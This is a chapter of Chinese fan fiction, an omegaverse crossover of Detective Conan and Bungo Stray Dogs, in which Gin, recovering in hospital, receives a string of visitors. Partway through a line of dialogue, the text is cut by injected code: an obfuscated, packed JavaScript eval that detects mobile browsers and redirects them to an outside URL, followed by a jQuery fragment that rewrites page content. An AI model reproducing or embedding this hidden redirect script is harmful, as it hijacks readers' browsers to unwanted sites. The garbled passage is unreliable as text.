琴酒最后还是接受医生的后门了。
风间悠是哭着进来的。虽然昨晚浪了很久,并且折腾情报组一个晚上,但是现在哭哭啼啼的。
门刚推开一条缝,那股清爽的、带着晨露般气息的Alpha信息素就涌了进来。
在他的嗅觉里,风间悠像雨后森林,清新,但过于浓郁,让琴酒下意识皱了皱眉。
然后风间悠黑色的头发就埋在床上,像毛茸茸的一团棉花,眼泪不要钱似的往下掉。
“阵哥……阵哥……”他哭得话都说不清,脸埋在床单里,肩膀一抽一抽的。
琴酒僵住了。
他闻到了。不止是信息素,还有风间悠身上浓重的硝烟味、机油味、以及……血腥味。这死孩子在赶回来的路上,确实“处理”了不少东西。
“我没事。”琴酒说,声音依然沙哑,但试图平稳。
风间悠抬起头,眼睛红得像兔子,但眼神里翻滚着一种诡异的热度,不是悲伤,是暴怒冷却后的余烬,带着粘稠的杀意。
“我要弄死朗姆。”他一字一顿地说,眼泪还在掉,但语气冷得像冰,“他给你的任务有陷阱,你受伤后他拒绝医疗支援,还把安室透当垃圾扔给你……我都查清楚了。”
虽然琴酒也很嫌弃那个神秘主义,但是还是他还是干了点正事的,嗯,琴酒在理智回笼之后就能够较为客观的评估他俩的贡献了。
风间悠昨晚骑车狂奔时,头盔里的通讯器一直连着加密网络。单手把这车,然后黑进组织系统查搞的情报组乱七八糟的,自己像是个疯子,但效率高得可怕。
小脆皮。琴酒忍不住怜爱起来了。等等为什么我要怜爱?
“还有给你下药的人。”风间悠继续说,手指无意识地抓住床单,抓得指节发白,“宴会监控我调了,那个想碰你的男人,我已经定位了。等他落单……”
琴酒沉默了几秒,然后伸出没受伤的左手,拍了拍风间悠的后背。
动作很轻,像在抚摸孩子,风间悠眼泪又掉下来了。
“阵哥,我黑组织系统了,上次你说我在黑就把我送走,但是我好难过……”
已经在胡言乱语了啊。
“我没事。”琴酒说了一遍,这次声音更低,“伤不重,药……也没事。”
琴酒的声音近乎安抚了“小任务而已,朗姆只是想抓我把柄,不是真要我的命。至于下药的人……”
琴酒顿了顿,卡壳起来,为什么他会说朗姆只是想抓我的把柄?
风间悠盯着他看了很久,好像是察觉到什么,直接埋到了琴酒怀里,闷闷地说:“可是我很害怕……我以为你要死了……”
琴酒的手停在半空。
他很久没见到这样的风间悠了。
琴酒感到一阵陌生的、近乎无措的情绪。上一次他表白,琴酒给了他一巴掌,那么怎么处理这种赤裸裸的依赖呢?
我上次为什么要打他?
“我不会死。”琴酒摸了摸风间悠的头,十分郑重的承诺“至少不会死在这种小事上。”
风间悠抬起头,眼泪止住了,但眼圈还是红的。他盯着琴酒:大事也不许死,阵哥长命百岁。”
琴酒:“……嗯。”
死孩子又把脑袋埋到怀里了。
琴酒推了推他,毕竟查特酒的舒缓剂也是有成度的,太近了他会有感觉。
琴酒不是变态,也不想当变态。
对风间悠有反应真是太变态了。
但是没推动,风间悠很固执的又蹭了蹭琴酒的手。
就在这时,琴酒的手机震动了。
特殊的加密铃声——只有一个人会用。
琴酒拿起手机,趁机将风间悠推开,屏幕上是来自【Boss】的短信:
【好好放个假吧,昨晚惊心动魄——先生】
自己是左利手,昨晚特意打了右胳膊,其实并不碍事。
他往下翻,看到了附件——他前几天前提交的申请,关于雪莉的后手,之前boss忙工作没看,现在批了。
批准时间:今天凌晨五点。
正是他昏迷不醒的时候。
琴酒盯着那个时间戳,沉默了很久。
昨晚可能把boss吓到了。
等等?为什么我会下意识认为boss是被我遭受的事情吓到了,明明是小伤。
他收起手机,对风间悠说:“叫诸星大进来。”
诸星大进来时,身上也还带着血腥味和硝烟味。
他的枪伤重新包扎过了,绷带下透出药膏的颜色,黑色长发束在脑后,有几缕散落下来,他走得很稳,但仔细看能发现右肩的动作有些僵硬。
嗯……相同的遭遇。昨晚和风间悠一起闹事去了,但是没有特别大的影响。
他直接走到病床边,没有废话,单膝跪了下来,和风间悠刚才的姿势有些相似,但气质截然不同。
诸星大是……虔诚的。
他抬头看着琴酒,那双总是疏离的绿眼睛里,此刻翻涌着某种过于沉重的情感。
他伸手,轻轻抓住琴酒的右手,拉过来,贴在自己的脸颊上。
脸颊微凉,但掌心能感觉到皮肤下血管的搏动。
“我很担心您。”诸星大说,声音很低,像在忏悔。
琴酒僵住了。
他闻到了,比风间悠更浓郁、更醇厚、也更危险的信息素。像陈年威士忌,带着烟熏和橡木的香气,浓烈得让他头晕。
身体开始不受控制地发热,抑制剂在抵抗,但本能在大叫。风间悠十分警惕的把琴酒往自己这边拽,但是味道还是很浓烈。两种味道加在一起更要命了
有点完蛋
而同时,视野角落的系统提示疯狂闪烁:
【第二阶段进度99/100】
一夜暴涨。。
琴酒感到一点愉悦,就这这个姿势摸了摸诸星大的下巴。
“起来。”他说,声音比刚才更哑了,“我有事让你做。”
诸星大站起来,但眼睛还盯着他,像在确认他的真实。
琴酒看着他说,“把之前那份礼物拿回来,送到我这里,我下午有空出去一趟。”
“现在就去。”琴酒别过脸,“立刻。”
诸星大深深看了他一眼,虽然有些不同意,最终还是点头:“好的。”
他需要诸星大离开。不是因为任务,是因为他再待下去,琴酒不确定自己能不能维持冷静。
那股威士忌般的信息素,现在还萦绕在病房里,像无形的蛛网,缠住他的呼吸。
风间悠在诸星大离开后才又开口,语气酸溜溜的:“阵哥对他真好,还摸他脸,还让他送礼物。”
琴酒:“……那是工作。去开窗通风。”
“哦。”风间悠撇撇嘴,然后去开窗,突然像是想起什么,“织田
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984273|193604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
君他昨晚掺合进来了,现在没法走。”
织田作之助算是主动?被迫接触组织机密了,虽然情有可原,但是很明显没法轻而易举的离开。
琴酒有些震惊,他都不是组织成员?为什么能掺合进来?
然后风间悠又解释了一下。
哦!原来是他通知的你……那就没有老鼠把医疗部的消息随便往出说。
风间悠蹭过来,又想去抓琴酒的手,但被琴酒躲开了,“织田现在还在外面呢,要叫他进来吗?”
琴酒想了想,点头。反正这么多都见了。
话没说完,织田作之助已经站在门口了。
他好像一直就在那里等着,呆毛在走廊的风里晃了晃。他走进来,表情平静得像来探访普通朋友。
琴酒在他进来的瞬间,就察觉到了不同。
没有味道。织田作之助是个bate!
很舒服很完美,不会给他任何不良反应。
琴酒感到一阵近乎感激的轻松。
他终于能正常呼吸了。
琴酒想,如果他不愿意加入组织,那就在黑市上找个消除记忆的能力者好了。
他可以自己出钱。虽然他昨晚不知道脑子怎么了一定要管,但是的确是帮了忙。
琴酒开口,声音是自己都没察觉的温和,“昨晚……谢谢。”
织田作之助的呆毛动了动:“不客气。你没事就好。”
他顿了顿,补充了一句,语气平淡但真诚:
“大家都很担心你。没有事真的太好了。”
这句话从他嘴里说出来,有种奇特的份量。因为他不说谎,不做作,只是陈述事实。
琴酒沉默了几秒,然后说:“最近工作还好吗。”
织田摇头,“还好,在便利店和酒店里打工。昨晚没有被扣工资真是太好了。”
琴酒:“……需要我处理吗?”
比如说给他换个工作买家店塞进去什么的。
“不用。”织田说,“本来也是你比较重要,所以我会那么做本来就是理所应当。”
风间悠站起来就把人往外推,织田君,去工作吧,昨晚的酬劳会给你的,消除记忆的异能力者要消除一些需要保密的东西。
织田作之助继续摇晃呆毛:“我这次只是帮了忙而已。”
风间悠继续笑着把人往外推,然后扭头表情又认真起来:“阵哥,我拿到代号了。”
“萨泽拉克。”风间悠说,声音里有一种奇异的骄傲,“甜白葡萄酒,寓意是……甜美如蜜,危险如毒。”
风间悠眼睛弯成月牙:
“等阵哥伤好了,我们去喝酒吧。就我们两个。”
琴酒看着他,看着这个从小屁孩长成如今这副模样的少年,最终点了点头:
“……好。”
风间悠眼睛亮了,像得到全世界最好的礼物。
继续一边推织田作之助一边嘀嘀咕咕,看起来十分可爱。
“那我继续去给朗姆添堵了!”
说完蹦蹦跳跳地跑了。
琴酒往外看了看,有点震惊,没有了吗?
这一个一个和下饺子一样来找人,剩下那两个人呢?
然后他就得知原来安室透和绿川光昨晚被风间悠抓着审讯一番,外加昨晚被自己打晕的后遗症,现在还躺着呢。
有点可怜啊……等等为什么我感觉他们很可怜。